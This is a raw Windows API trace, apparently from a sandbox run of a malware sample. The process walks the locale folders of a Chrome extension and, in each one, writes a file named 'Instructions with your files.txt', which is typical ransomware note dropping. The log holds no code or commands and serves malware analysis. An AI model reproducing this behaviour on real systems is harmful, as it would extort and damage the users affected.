[0129.550] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.551] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.551] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.551] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.551] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.552] CloseHandle (hObject=0x134) returned 1
[0129.552] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.552] GetProcessHeap () returned 0x810000
[0129.552] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.552] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.552] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned 144
[0129.552] GetProcessHeap () returned 0x810000
[0129.552] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.552] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*") returned 146
[0129.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.552] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\.") returned 146
[0129.552] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.552] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\..") returned 147
[0129.552] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.552] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 158
[0129.552] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.552] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.553] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 177
[0129.553] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.553] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.554] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.554] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.554] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.554] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.554] CloseHandle (hObject=0x134) returned 1
[0129.554] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.554] GetProcessHeap () returned 0x810000
[0129.554] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.554] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.554] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned 144
[0129.554] GetProcessHeap () returned 0x810000
[0129.554] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.554] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*") returned 146
[0129.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.555] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\.") returned 146
[0129.555] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.555] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\..") returned 147
[0129.555] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.555] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 158
[0129.555] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.555] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.556] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 177
[0129.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.556] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.557] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.557] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.557] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.557] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.557] CloseHandle (hObject=0x134) returned 1
[0129.557] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.557] GetProcessHeap () returned 0x810000
[0129.557] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.557] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.557] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned 141
[0129.557] GetProcessHeap () returned 0x810000
[0129.557] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.557] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*") returned 143
[0129.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.558] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\.") returned 143
[0129.558] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.558] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\..") returned 144
[0129.558] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.558] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 155
[0129.558] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.558] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.558] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\Instructions with your files.txt") returned 174
[0129.558] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.558] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.559] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.559] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.560] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.560] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.560] CloseHandle (hObject=0x134) returned 1
[0129.560] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.560] GetProcessHeap () returned 0x810000
[0129.560] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.560] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.560] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned 141
[0129.560] GetProcessHeap () returned 0x810000
[0129.560] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.560] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*") returned 143
[0129.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.561] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\.") returned 143
